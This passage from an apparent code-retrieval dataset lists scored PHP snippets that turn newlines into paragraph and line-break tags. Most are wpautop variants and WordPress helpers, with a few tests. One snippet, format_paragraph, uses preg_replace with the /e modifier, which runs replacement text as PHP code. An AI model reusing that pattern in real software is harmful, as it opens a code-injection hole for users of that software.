'[^\\]]*\\])!', \"$1\", $pee);\n\n // If an opening or closing block element tag is followed by a closing <p> tag, remove it.\n $pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee);\n $pee = preg_replace('!(\\[/?' . $allblocks . '[^\\]]*\\])\\s*</p>!', \"$1\", $pee);\n\n // Optionally insert line breaks.\n if ( $br ) {\n // Replace newlines that shouldn't be touched with a placeholder.\n $pee = preg_replace_callback('/<(script|style).*?<\\/\\\\1>/s', '_autop_newline_preservation_helper', $pee);\n\n // Normalize <br>\n $pee = str_replace( array( '<br>', '<br/>' ), '<br />', $pee );\n\n // Replace any new line characters that aren't preceded by a <br /> with a <br />.\n $pee = preg_replace('|(?<!<br />)\\s*\\n|', \"<br />\\n\", $pee);\n\n // Replace newline placeholders with newlines.\n $pee = str_replace('<WPPreserveNewline />', \"\\n\", $pee);\n }\n\n // If a <br /> tag is after an opening or closing block tag, remove it.\n $pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*<br />!', \"$1\", $pee);\n $pee = preg_replace('!(\\[/?' . $shortcode_blocks . '[^\\]]*\\])\\s*<br />!', \"$1\", $pee);\n\n // If a <br /> tag is before a subset of opening or closing block tags, remove it.\n $pee = preg_replace('!<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);\n $pee = preg_replace( \"|\\n</p>$|\", '</p>', $pee );\n\n // Replace placeholder <pre> tags with their original content.\n if ( !empty($pre_tags) )\n $pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee);\n\n // Restore newlines in all elements.\n if ( false !== strpos( $pee, '<!-- wpnl -->' ) ) {\n $pee = str_replace( array( ' <!-- wpnl --> ', '<!-- wpnl -->' ), \"\\n\", $pee );\n }\n \n return $pee;\n}", "title": "" }, { "docid": "0016c973a6a4a184034801c47fa78e81", "score": "0.6610757", "text": "function ptobr_content($content) {\n global $post;\n\t\n $content = str_replace('<p>&nbsp;</p>', '<br />', $content);\n\t\n return $content;\n}", "title": "" }, { "docid": "1dc0c9b4979345b5a6bab0c269db8e33", "score": "0.6564318", "text": "function test_that_wpautop_skips_line_breaks_after_br() {\n\t\t$content = '\nline 1<br>\nline 2<br/>\nline 3<br />\nline 4\nline 5\n';\n\n\t\t$expected = '<p>line 1<br />\nline 2<br />\nline 3<br />\nline 4<br />\nline 5</p>';\n\n\t\t$this->assertSameIgnoreEOL( $expected, trim( wpautop( $content ) ) );\n\t}", "title": "" }, { "docid": "888061c73a79a4afa1560a9d6536c651", "score": "0.6469329", "text": "function formParagraphs( $text ) {\n // Treat single linebreaks as double linebreaks\n $text = preg_replace('#([^\\n])\\n([^\\n])#', \"$1\\n\\n$2\", $text );\n return parent::formParagraphs( $text );\n }", "title": "" }, { "docid": "dad31645b98de8a11eb91bd25806af57", "score": "0.64655375", "text": "public static function autop($pee, $br = true) {\n\t\t/**\n\t\t * Newline preservation help function for wpautop\n\t\t * \n\t\t * @access private\n\t\t * @param array $matches preg_replace_callback matches array\n\t\t * @return string\n\t\t */\n\t\tfunction _autop_newline_preservation_helper( $matches ) {\n\t\t\treturn str_replace(\"\\n\", \"<WPPreserveNewline />\", $matches[0]);\n\t\t}\n\t\t\n\t\t$pre_tags = array();\n\t\t\n\t\tif ( trim($pee) === '' )\n\t\t\treturn '';\n\t\t\n\t\t$pee = $pee . \"\\n\"; // just to make things a little easier, pad the end\n\t\t\n\t\tif ( strpos($pee, '<pre') !== false ) {\n\t\t\t$pee_parts = explode( '</pre>', $pee );\n\t\t\t$last_pee = array_pop($pee_parts);\n\t\t\t$pee = '';\n\t\t\t$i = 0;\n\t\t\t\n\t\t\tforeach ( $pee_parts as $pee_part ) {\n\t\t\t\t$start = strpos($pee_part, '<pre');\n\t\t\t\t\n\t\t\t\t// Malformed html?\n\t\t\t\tif ( $start === false ) {\n\t\t\t\t\t$pee .= $pee_part;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$name = \"<pre wp-pre-tag-$i></pre>\";\n\t\t\t\t$pre_tags[$name] = substr( $pee_part, $start ) . '</pre>';\n\t\t\t\t\n\t\t\t\t$pee .= substr( $pee_part, 0, $start ) . $name;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t\n\t\t\t$pee .= $last_pee;\n\t\t}\n\t\t\n\t\t$pee = preg_replace('|<br />\\s*<br />|', \"\\n\\n\", $pee);\n\t\t// Space things out a little\n\t\t$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|option|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|noscript|samp|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';\n\t\t$pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', \"\\n$1\", $pee);\n\t\t$pee = preg_replace('!(</' . $allblocks . '>)!', \"$1\\n\\n\", $pee);\n\t\t$pee = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $pee); // cross-platform newlines\n\t\tif ( strpos($pee, '<object') !== false ) {\n\t\t\t$pee = preg_replace('|\\s*<param([^>]*)>\\s*|', \"<param$1>\", $pee); // no pee inside object/embed\n\t\t\t$pee = preg_replace('|\\s*</embed>\\s*|', '</embed>', $pee);\n\t\t}\n\t\t$pee = preg_replace(\"/\\n\\n+/\", \"\\n\\n\", $pee); // take care of duplicates\n\t\t// make paragraphs, including one at the end\n\t\t$pees = preg_split('/\\n\\s*\\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);\n\t\t$pee = '';\n\t\tforeach ( $pees as $tinkle )\n\t\t\t$pee .= '<p>' . trim($tinkle, \"\\n\") . \"</p>\\n\";\n\t\t$pee = preg_replace('|<p>\\s*</p>|', '', $pee); // under certain strange conditions it could create a P of entirely whitespace\n\t\t$pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', \"<p>$1</p></$2>\", $pee);\n\t\t$pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee); // don't pee all over a tag\n\t\t$pee = preg_replace(\"|<p>(<li.+?)</p>|\", \"$1\", $pee); // problem with nested lists\n\t\t$pee = preg_replace('|<p><blockquote([^>]*)>|i', \"<blockquote$1><p>\", $pee);\n\t\t$pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);\n\t\t$pee = preg_replace('!<p>\\s*(</?' . $allblocks . '[^>]*>)!', \"$1\", $pee);\n\t\t$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*</p>!', \"$1\", $pee);\n\t\tif ( $br ) {\n\t\t\t$pee = preg_replace_callback('/<(script|style).*?<\\/\\\\1>/s', '_autop_newline_preservation_helper', $pee);\n\t\t\t$pee = preg_replace('|(?<!<br />)\\s*\\n|', \"<br />\\n\", $pee); // optionally make line breaks\n\t\t\t$pee = str_replace('<WPPreserveNewline />', \"\\n\", $pee);\n\t\t}\n\t\t$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\\s*<br />!', \"$1\", $pee);\n\t\t$pee = preg_replace('!<br />(\\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);\n\t\t$pee = preg_replace( \"|\\n</p>$|\", '</p>', $pee );\n\t\t\n\t\tif ( !empty($pre_tags) )\n\t\t\t$pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee);\n\t\t\n\t\treturn $pee;\n\t}", "title": "" }, { "docid": "0dc755ce7bc6854e89fc280200a46a62", "score": "0.64618057", "text": "function add_paragraphs($str)\n{\n // Trim whitespace\n if (($str = trim($str)) === '') return '';\n\n // Standardize newlines\n $str = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n\n // Trim whitespace on each line\n $str = preg_replace('~^[ \\t]+~m', '', $str);\n $str = preg_replace('~[ \\t]+$~m', '', $str);\n\n // The following regexes only need to be executed if the string contains html\n if ($html_found = (strpos($str, '<') !== FALSE)) {\n // Elements that should not be surrounded by p tags\n $no_p = '(?:p|div|article|header|aside|hgroup|canvas|output|progress|section|figcaption|audio|video|nav|figure|footer|video|details|main|menu|summary|h[1-6r]|ul|ol|li|blockquote|d[dlt]|pre|t[dhr]|t(?:able|body|foot|head)|c(?:aption|olgroup)|form|s(?:elect|tyle)|a(?:ddress|rea)|ma(?:p|th))';\n\n // Put at least two linebreaks before and after $no_p elements\n $str = preg_replace('~^<' . $no_p . '[^>]*+>~im', \"\\n$0\", $str);\n $str = preg_replace('~</' . $no_p . '\\s*+>$~im', \"$0\\n\", $str);\n }\n\n // Do the <p> magic!\n $str = '<p>' . trim($str) . '</p>';\n $str = preg_replace('~\\n{2,}~', \"</p>\\n\\n<p>\", $str);\n\n // The following regexes only need to be executed if the string contains html\n if ($html_found !== FALSE) {\n // Remove p tags around $no_p elements\n $str = preg_replace('~<p>(?=</?' . $no_p . '[^>]*+>)~i', '', $str);\n $str = preg_replace('~(</?' . $no_p . '[^>]*+>)</p>~i', '$1', $str);\n }\n\n // Convert single linebreaks to <br />\n $str = preg_replace('~(?<!\\n)\\n(?!\\n)~', \"<br>\\n\", $str);\n\n return $str;\n}", "title": "" }, { "docid": "d9fde4452d3bdc8f480e11e43bb0f6b6", "score": "0.6381879", "text": "public static function dblbr2p(string $string): string\n {\n return preg_replace('/<br[\\s]*\\/?>\\s*<br[\\s]*\\/?>/m', \"\\n</p>\\n<p>\", $string);\n }", "title": "" }, { "docid": "38870c76784a5006bd88db0dfb3512f5", "score": "0.63393164", "text": "function nl2p($str)\n{\n\treturn str_replace(array(\"\\r\\n\",\"\\n\"),array(\"<br />\",\"</p>\"),$str);\n}", "title": "" }, { "docid": "2f6e92b3c435189596e03e0a81b823cb", "score": "0.63119245", "text": "function wpautop($text, $br = \\true)\n {\n }", "title": "" }, { "docid": "6968cf690e6317db0d5b969d3725b182", "score": "0.6214528", "text": "function formatMyText($text) {\n\treturn str_replace('<br />\\r\\n<br />\\r\\n', '</p>\\r\\n<p>', '<p>'.nl2br($text).'</p>');\n}", "title": "" }, { "docid": "7e6c8692000968ffcded83498a6945e9", "score": "0.6085412", "text": "function phpbb_br2nl($str)\n{\n return preg_replace(\"=<br(>|([\\s/][^>]*)>)\\r?\\n?=i\", \"\\n\", $str);\n}", "title": "" }, { "docid": "2e69801617e165f0f62b7d69bf5c156b", "score": "0.6031312", "text": "function nl2p($text) {\n\n // Return if there are no line breaks.\n if (!strstr($text, \"\\n\")) { return $text; }\n\n // put all text into <p> tags\n $text = '<p>' . $text . '</p>';\n\n // replace all newline characters with paragraph\n // ending and starting tags\n $text = str_replace(\"\\n\", \"</p>\\n<p>\", $text);\n\n // remove empty paragraph tags & any cariage return characters\n $remove = array(\"\\r\", \"<p></p>\");\n $text = str_replace($remove,\"\", $text);\n\n return $text;\n\n}", "title": "" }, { "docid": "b37fcca4c142f377c4e4bd891b079431", "score": "0.60297793", "text": "function format_paragraph($string)\n {\n $string = nl2br(preg_replace('/\\[\\[([^|\\]]+?)(?:\\|([^\\]]+))?\\]\\]/e', \"'<a href=\\\"\\$1\\\">'.(('\\$2')?'\\$2':'\\$1').'</a>'\", $string));\n return $string;\n }", "title": "" }, { "docid": "50cc378b47fcb679674eeb2c5c0d2720", "score": "0.6010284", "text": "function convert_html_breaks($str){\n\n\t// Convert break elements to newline elements (\\n)\n\t$converted = preg_replace(\"/<br[\\/\\s]*>/i\", \"\\n\", $str);\n\n\t// Convert paragraph elements to markdown paragraph elements (\\n\\n)\n\tif( preg_replace(\"/<p[^>]*>/i\", \"\\n\\n\", $converted) ) {\n\t\t$converted = preg_replace(\"/<\\/p>/i\", \"\\n\", $converted);\n\t}\n\treturn $converted;\n}", "title": "" }, { "docid": "e485ac038ecd6fd8ed700bea79b617fb", "score": "0.5979506", "text": "function &nl2Br( $text ) {\n $text = preg_replace( \"/(\\015\\012)|(\\015)|(\\012)/\", \"<br />\", $text );\n return $text;\n }", "title": "" }, { "docid": "d7a272c6914b50bf8e8852df77298441", "score": "0.5924049", "text": "function p2nl($text) {\n\n // replace all <p> and </p> tags with a newline characters\n // ending and starting tags\n $text = str_replace(\"</p>\\n\\n<p>\", \"\\n\\r\", $text);\n\n // remove <p> tag from begining and </p> tag from end of string\n $remove = array(\"<p>\", \"</p>\");\n $text = str_replace($remove, \"\", $text);\n\n return $text;\n\n}", "title": "" }, { "docid": "09a0ad3279df36e7f5cc55bb94325ae0", "score": "0.58902", "text": "protected function _format_newlines($str)\n\t{\n\t\tif ($str === '' OR (strpos($str, \"\\n\") === FALSE && ! in_array($this->last_block_element, $this->inner_block_required)))\n\t\t{\n\t\t\treturn $str;\n\t\t}\n\n\t\t// Convert two consecutive newlines to paragraphs\n\t\t$str = str_replace(\"\\n\\n\", \"</p>\\n\\n<p>\", $str);\n\n\t\t// Convert single spaces to <br /> tags\n\t\t$str = preg_replace(\"/([^\\n])(\\n)([^\\n])/\", '\\\\1<br />\\\\2\\\\3', $str);\n\n\t\t// Wrap the whole enchilada in enclosing paragraphs\n\t\tif ($str !== \"\\n\")\n\t\t{\n\t\t\t// We trim off the right-side new line so that the closing </p> tag\n\t\t\t// will be positioned immediately following the string, matching\n\t\t\t// the behavior of the opening <p> tag\n\t\t\t$str = '<p>'.rtrim($str).'</p>';\n\t\t}\n\n\t\t// Remove empty paragraphs if they are on the first line, as this\n\t\t// is a potential unintended consequence of the previous code\n\t\treturn preg_replace('/<p><\\/p>(.*)/', '\\\\1', $str, 1);\n\t}", "title": "" }, { "docid": "1856a4dc7ffaed7afc4160a5fd3f8924", "score": "0.58648515", "text": "public function cropHtmlWorksWithLinebreaks() {}", "title": "" }, { "docid": "8e6a900bd1ff4f97fde9ebeddf56e0e6", "score": "0.57889104", "text": "function nl2br ($string, $is_xhtml = true) {}", "title": "" }, { "docid": "3038032083d69ea6eec32d817da1ab57", "score": "0.5772772", "text": "function pun_linebreaks2($str)\r\n{\r\n\treturn str_replace(\"\\r\", \"\\n\", str_replace(\"\\r\\n\", \"<br>\", $str));\r\n}", "title": "" }, { "docid": "afde2caa588832170db3a1a718b127d2", "score": "0.57712847", "text": "public static function nl2p( $string, $line_breaks = true, $xml = false ) {\n $string = str_replace( array( '<p>', '</p>', '<br>', '<br />' ), '', $string );\n if ( $line_breaks == true ) {\n return '<p>' . preg_replace( array( \"/([\\n]{2,})/i\", \"/([^>])\\n([^<])/i\" ), array( \"</p>\\n<p>\", '$1<br' . ( $xml == true ? ' /' : '' ) . '>$2' ), trim( $string ) ) . '</p>';\n } else {\n return '<p>' . preg_replace(\n array( \"/([\\n]{2,})/i\", \"/([\\r\\n]{3,})/i\", \"/([^>])\\n([^<])/i\" ),\n array( \"</p>\\n<p>\", \"</p>\\n<p>\", '$1<br' . ( $xml == true ? ' /' : '' ) . '>$2' ),\n\n trim( $string ) ) . '</p>';\n }\n }", "title": "" }, { "docid": "0f89f935074e464c5d702c1984362dbb", "score": "0.5767608", "text": "function shortcode_empty_paragraph_fix($content)\n{ \n $array = array (\n '<p>[' => '[', \n ']</p>' => ']', \n ']<br />' => ']'\n );\n\n $content = strtr($content, $array);\n\n return $content;\n}", "title": "" }, { "docid": "71f1068ad3cc5975c4d2598d9d3b6298", "score": "0.5755831", "text": "function shortcode_empty_paragraph_fix( $content ) {\n $array = array (\n '<p>[' => '[',\n ']</p>' => ']',\n ']<br />' => ']'\n );\n\n $content = strtr( $content, $array );\n\n return $content;\n}", "title": "" }, { "docid": "5f6d2b2c468edb485ed814046c366a8a", "score": "0.57486093", "text": "public static function reduceDuplicateBr($html) {\n $html = preg_replace('#<br\\s*/?>(?:\\s*<br\\s*/?>)+#i', '<br />', $html);\n\n return $html;\n }", "title": "" }, { "docid": "fa34e358b9bd0a3915f59d4c26484595", "score": "0.5727552", "text": "public function asParagraphs($value)\n {\n if ($value === null || $value == '') {\n return null;\n }\n return str_replace('<p></p>', '', '<p>' . preg_replace('/\\R{2,}/u', \"</p>\\n<p>\", Html::encode($value)) . '</p>');\n }", "title": "" }, { "docid": "6e3b27f3ff2fe0994d3dad8e276181b5", "score": "0.5714643", "text": "function nl2br2( $text )\n{\n $text = str_replace( array( '\\r\\n', '\\r', '\\n'), '<br />', $text ) ;\n return $text ;\n}", "title": "" }, { "docid": "6186c642039d4216dbd2fd2feb20e969", "score": "0.5591728", "text": "function test_that_wpautop_does_not_add_extra_closing_p_in_figure() {\n\t\t$content1 = '<figure><img src=\"example.jpg\" /><figcaption>Caption</figcaption></figure>';\n\t\t$expected1 = $content1;\n\n\t\t$content2 = '<figure>\n<img src=\"example.jpg\" />\n<figcaption>Caption</figcaption>\n</figure>';\n\n\t\t$expected2 = '<figure>\n<img src=\"example.jpg\" /><figcaption>Caption</figcaption></figure>';\n\n\t\t$this->assertEquals( $expected1, trim( wpautop( $content1 ) ) );\n\t\t$this->assertEqualsIgnoreEOL( $expected2, trim( wpautop( $content2 ) ) );\n\t}", "title": "" }, { "docid": "b2878f8618bce9f354852c265ed5d5db", "score": "0.55912465", "text": "public static function nlnl2p($s)\n\t{\n\t\treturn \"<p>\".nl2br(str_replace(\"\\n\\n\",\"</p><p>\",$s)).\"</p>\";\n\t}", "title": "" }, { "docid": "13578645a5bd047526c06348edf2b758", "score": "0.55577487", "text": "function return_clean( $content, $p_tag = false, $br_tag = false )\n{\n\t$content = preg_replace( '#^<\\/p>|^<br \\/>|<p>$#', '', $content );\n\n\tif ( $br_tag )\n\t\t$content = preg_replace( '#<br \\/>#', '', $content );\n\n\tif ( $p_tag )\n\t\t$content = preg_replace( '#<p>|</p>#', '', $content );\n\n\treturn do_shortcode( shortcode_unautop( trim( $content ) ) );\n}", "title": "" }, { "docid": "665e9d8a6e6b7e485424d6c6d651353f", "score": "0.5553405", "text": "public static function convertLineBreaks($text, $allowDouble = true, $allowUnlimited = false){\n\n if(preg_match(\"/<br \\/>/\", $text)){\n $text = preg_replace(\"/<\\/b>/\", \"</b><br />\", $text, 1);\n $text = preg_replace(\"/\\s<b>/\", \"<br /><b>\", $text, 1);\n return $text;\n }\n\n $text = mb_ereg_replace(\"\\r\\n\", \"\\n\", $text); //convert microsoft's stupid CRLF to just LF\n\n if(!$allowUnlimited) {\n // replaces 2 or more CR/LF chars with just 2\n $text = mb_ereg_replace(\"[\\r\\n]{3,}\", \"\\n\\n\", $text); \n }\n\n if($allowDouble) {\n // replaces all remaining CR/LF chars with <br />\n $text = mb_ereg_replace(\"[\\r\\n]\", '<br />', $text); \n } else {\n $text = mb_ereg_replace(\"[\\r\\n]+\", '<br />', $text);\n }\n\n return $text;\n }", "title": "" }, { "docid": "33932f2566a157b236709647c5fb1414", "score": "0.55491585", "text": "function formathtml($text){\n $text=stripslashes($text);\n $text=str_replace(\"\\r\\n\",\"<BR>\\n\",$text);\n $text=str_replace(\"\\n\",\"<BR>\\n\",$text);\n //$text=\"<html><body>\".$text.\"</body></html>\";\nreturn $text;\n}", "title": "" }, { "docid": "757787f0fa598ece3861cb38655515e4", "score": "0.55317944", "text": "public function make_html_inline($html)\n {\n $html = preg_replace('~\\s*<p>\\s*~u', '', $html);\n $html = preg_replace('~\\s*</p>\\s*~u', '<br />', $html);\n $html = preg_replace('~(<br\\s*/?>)+$~u', '', $html);\n\n return trim($html);\n }", "title": "" }, { "docid": "588e6fd54f2752717610ea1a5651f404", "score": "0.551769", "text": "function replacePTags($DomDocument, $DomElement)\r\n {\r\n $DomDocument->formatOutput = true;\r\n $DomDocument->preserveWhiteSpace = false;\r\n\r\n $paraNode = $DomDocument->createElement(\"para\");\r\n $style = $DomElement->getAttribute(\"style\");\r\n $align = '';\r\n\r\n $styleProperites = explode(\";\", $style);\r\n foreach ($styleProperites as $property)\r\n {\r\n $propertyValue = explode(\":\", $property);\r\n\r\n if ($propertyValue[0] == \"text-align\")\r\n {\r\n $align = $propertyValue[1];\r\n }\r\n }\r\n\r\n if (!empty($align))\r\n {\r\n $paraNode->setAttribute(\"align\", trim($align));\r\n }\r\n else\r\n {\r\n $paraNode->setAttribute(\"align\", \"left\");\r\n }\r\n $parabody = $DomDocument->createElement(\"para.body\");\r\n\r\n foreach ($DomElement->childNodes as $child)\r\n {\r\n $childNode = $DomDocument->importNode($child, true);\r\n $paraContentNode = $childNode->cloneNode(true);\r\n $parabody->appendChild($paraContentNode);\r\n }\r\n $paraNode->appendChild($parabody);\r\n\r\n return $paraNode;\r\n }", "title": "" }, { "docid": "d82891aeaa972f6f8d62bef9b95f0101", "score": "0.55127406", "text": "function remove_empty_p( $content ) {\n\t$content = force_balance_tags( $content );\n\t$content = preg_replace( '#<p>\\s*+(<br\\s*/*>)?\\s*</p>#i', '', $content );\n\t$content = preg_replace( '~\\s?<p>(\\s|&nbsp;)+</p>\\s?~', '', $content );\n\treturn $content;\n}", "title": "" }, { "docid": "206ae2eef9cc22cc6e100578a7a54d00", "score": "0.55098313", "text": "public static function nl2p($s)\n\t{\n\t\treturn \"<p>\".str_replace(\"\\n\",\"</p><p>\",$s).\"</p>\";\n\t}", "title": "" }, { "docid": "be34e1b2f9c3b746d697e1eb7390bba9", "score": "0.55078036", "text": "function photochrom_shortcodes_autop( $content ) {\n return strtr( $content, array( '<p>[' => '[', ']</p>' => ']', ']<br />' => ']', ']<br>' => ']' ) );\n}", "title": "" }, { "docid": "d4088ec39775a28ecea3f49ff5f6a3a1", "score": "0.546692", "text": "public static function nl2p(string $str): string\n {\n $str = preg_split('/(\\r?\\n){2,}/', $str);\n array_walk(\n $str,\n function (&$str) {\n $str = '<p>' . nl2br(trim($str)) . '</p>';\n }\n );\n\n return implode(\"\\n\", $str);\n }", "title": "" }, { "docid": "041628c003b3658b092ca6dde494c1a2", "score": "0.5463", "text": "function keel_remove_empty_p ( $content ) {\n\t\t$content = force_balance_tags( $content );\n\t\t$content = preg_replace( '#<p>\\s*+(<br\\s*/*>)?\\s*</p>#i', '', $content );\n\t\t$content = preg_replace( '~\\s?<p>(\\s|&nbsp;)+</p>\\s?~', '', $content );\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "38dd8b497b43d8dcca07211bbddf2355", "score": "0.54482406", "text": "function br2nl($str){\n\t$str = preg_replace('/\\<br\\s*\\/?\\>/i', \" \\n\", $str);\n\treturn $str;\n}", "title": "" }, { "docid": "e2182d7cc1ba8dc325eb5712e342d0ac", "score": "0.54461443", "text": "function remove_empty_p($content)\n{\n $content = preg_replace(array(\n '#<p>\\s*<(div|aside|section|article|header|footer)#',\n '#</(div|aside|section|article|header|footer)>\\s*</p>#',\n '#</(div|aside|section|article|header|footer)>\\s*<br ?/?>#',\n '#<(div|aside|section|article|header|footer)(.*?)>\\s*</p>#',\n '#<p>\\s*</(div|aside|section|article|header|footer)#',\n ), array(\n '<$1',\n '</$1>',\n '</$1>',\n '<$1$2>',\n '</$1',\n ), $content);\n return preg_replace('#<p>(\\s|&nbsp;)*+(<br\\s*/*>)*(\\s|&nbsp;)*</p>#i', '', $content);\n}", "title": "" }, { "docid": "7af17c5cffecb5bf32ffeeb226f6bc06", "score": "0.5417838", "text": "function BR($pref, $count, $nl)\n{\n /**\n * BR tag - this is an HTML new line.\n *\n * Args:\n * $pref (int): number of tabs for indentation, no default\n * $count (int): number of tags to print\n * $nl (bool): print NewLine in the end ?\n */\n Tab($pref) ;\n echo multi_chars('</br>', $count) ;\n if ($nl == true) {\n NL() ;\n }\n}", "title": "" }, { "docid": "d8b731525980b97245109fb42f875c60", "score": "0.5388933", "text": "public static function nl2p($string)\n {\n $string = '<p>' . preg_replace('/\\r\\n|\\n|\\r/', '</p>$0<p>', $string) . '</p>';\n $string = preg_replace('/<p><\\/p>/', '', $string);\n return $string;\n }", "title": "" }, { "docid": "a9316f37ef275dba409da1586d0cdc80", "score": "0.5387632", "text": "function br2nl($input) {\n\treturn preg_replace('/<br(\\s+)?\\/?>/i', PHP_EOL, $input);\n}", "title": "" }, { "docid": "5d1af6a79d4391d6d2491198a1a2c3a2", "score": "0.53876185", "text": "function formatOutput($s)\n {\n \t$s=str_replace(\"\\r\\n\",\"<br>\\r\\n\",$s);\n\t\t$s=html_links($s);\n return $s;\n }", "title": "" }, { "docid": "192bbf1e9388170828bba5e03b6279f3", "score": "0.53783643", "text": "function remove_empty_p( $content ){\n $content = preg_replace( array(\n '#<p>\\s*<(div|aside|section|article|header|footer)#',\n '#</(div|aside|section|article|header|footer)>\\s*</p>#',\n '#</(div|aside|section|article|header|footer)>\\s*<br ?/?>#',\n '#<(div|aside|section|article|header|footer)(.*?)>\\s*</p>#',\n '#<p>\\s*</(div|aside|section|article|header|footer)#',\n ), array(\n '<$1',\n '</$1>',\n '</$1>',\n '<$1$2>',\n '</$1',\n ), $content );\n return preg_replace('#<p>(\\s|&nbsp;)*+(<br\\s*/*>)*(\\s|&nbsp;)*</p>#i', '', $content);\n}", "title": "" }, { "docid": "e0493589766f8dee39161aa49eb2f077", "score": "0.53687346", "text": "function text_format($text,$is_text_wrapped=true) {\n if(stristr($text, '<!-- raw html -->') !== false) return $text;\n\n include_once('inc/inc.validate.php');\n\n // remove starting and trailing whitespace and blank lines\n $text = preg_replace('/^[\\s\\n]*/s' ,'',$text);\n $text = preg_replace( '/[\\s\\n]*$/s','',$text);\n\n // place into paragraph array and add spaces to both sides\n if($is_text_wrapped == true) {\n // strip out lines with only whitespace chars and reduce multiple blank lines to one\n $text = preg_replace('/^(\\s)*$/m','',$text);\n $paragraphs = explode(\"\\n\\n\",$text);\n foreach($paragraphs as $key => $value) { $paragraphs[$key] = ' '.$value.' '; }\n } else {\n $paragraphs = array(' '.str_replace(\"\\n\",\" <br/>\\n \",$text).' '); // extra spaces are needed for pattern matching\n }\n\n $start = '%(\\s[\\*_/><\\.,-]*)';\n $end = \"([\\*_/><\\.,-]*\\s)%U\";\n $middle = \"((?![^\\S]).*(?![^\\S]))\";\n $m1 = '((?![^\\S])(.(?![';\n $m2 = ']{2}))*[\\S]*(?![^\\S]))';\n $patterns = array(\n '/ & /' => ' &amp; ',\n '/^\\s*# ([^#]*)$/' => '<ul><li>$1</li></ul>', // # bullet point\n '/([ ,.!-])(\\d+)C([ ,.!-])/' => '$1$2&#176;C$3', // add &#176; degree sign after 2C\n\n $start.'(\"(?![^\\S])[^\"]{80,}(?![^\\S])\"[\\.,\\s]+)' .$end => '$1<p class=\"blockquote\"> $2 </p>$3', // \"Big ... Quote\"\n\n $start.'##'.$middle.'##'.$end => '$1<h3 style=\"text-align:center\">$2</h3>$3', // ##Header##\n $start.'\\*'.$middle.'\\*'.$end => '$1<strong>$2</strong>$3', // *Bold*\n //$start.'_' .$middle.'_' .$end => '$1<u>$2</u>$3', // _Underline_\n $start.'//'.$middle.'//'.$end => '$1<em>$2</em>$3', // //Italics//\n $start.'\"' .$middle.'\"' .$end => '$1<em>&quot;$2&quot;</em>$3', // \"Italics\"\n\n $start.'>>'.$m1.'<'.$m2.'>>'.$end => '$1<div style=\"text-align:right;\">$2</div>$3', // >>AlignRight>>\n $start.'<<'.$m1.'>'.$m2.'<<'.$end => '$1<div style=\"text-align:left\">$2</div>$3', // <<AlignLeft<<\n $start.'>>'.$m1.'>'.$m2.'<<'.$end => '$1<div style=\"text-align:center\">$2</div>$3', // >>Center<<\n $start.'<<'.$m1.'<'.$m2.'>>'.$end => '$1<div style=\"text-align:justify\">$2</div>$3', // <<Justify>>\n\n $start.'\\[\\s*'.$middle.'\\s*\\]'.$end => '$1<span class=\"source\">[ $2 ]</span>$3', // [End Quote]\n );\n // run formatting on paragraphs;\n $paragraphs = preg_replace(array_keys($patterns),$patterns,$paragraphs);\n\n // locate and a href emails and links\n foreach($paragraphs as $key => $value) {\n $paragraphs[$key] = highlight_emails($paragraphs[$key]);\n $paragraphs[$key] = highlight_links ($paragraphs[$key]);\n }\n\n foreach($paragraphs as $key => $value) {\n $html .= \" <div>\".$paragraphs[$key].\"</div>\\n\";\n }\n return $html;\n}", "title": "" }, { "docid": "3dfe43bfb9ea517b2a9b7d8da13e35f8", "score": "0.5359682", "text": "function mt_empty_paragraph_fix( $content ) {\n\t// An array of the offending tags.\n\t$arr = array (\n\t\t'<p>[' => '[',\n\t\t']</p>' => ']',\n\t\t']<br />' => ']'\n\t);\n\t// Remove the offending tags and return the stripped content.\n\t$stripped_content = strtr( $content, $arr );\n\treturn $stripped_content;\n}", "title": "" }, { "docid": "ff07b2104b520505824ef36680b0fbbf", "score": "0.5344694", "text": "public function removeMultipleBreakTags($data)\n {\n return preg_replace(\"/(<br\\s*\\/?>\\s*)+/\", '<br/>', $data);\n }", "title": "" }, { "docid": "f107f6256c5cd14f6ece700c45af8f24", "score": "0.5342586", "text": "function removelinebreaks($str) {\n $str = str_replace(\"\\r\", '', str_replace(\"\\n\", '', $str));\n //$str = str_ireplace(\"&lt;br /&gt;\", \"<br />\");\n return $str;\n }", "title": "" }, { "docid": "203f97ebb58185ca488720c9c6bcfee6", "score": "0.53207356", "text": "function br2nl ( $string )\r\n{\r\n return preg_replace('/\\<br(\\s*)?\\/?\\>/i', PHP_EOL, $string);\r\n}", "title": "" }, { "docid": "aacf6d4f08f95d878e0177fa62c62d9c", "score": "0.529705", "text": "public static function output_text ($text, $p = true)\n\t{\n\n\t\t/* Config: breaks: */\n\t\t$p_open = '<p>';\n\t\t$p_close = '</p>';\n\t\t$p_break = '<br />';\n\n\t\t$convert = stripslashes ($text);\n\t\t$convert = htmlentities ($convert, ENT_QUOTES, 'UTF-8');\n\n\t\t$bbcode_regex = array\n\t\t(\n\t\t\t0 => '/\\[b\\](.+?)\\[\\/b\\]/s',\n\t\t\t1 => '/\\[i\\](.+?)\\[\\/i\\]/s',\n\t\t\t2 => '/\\[u\\](.+?)\\[\\/u\\]/s',\n\t\t\t3 => 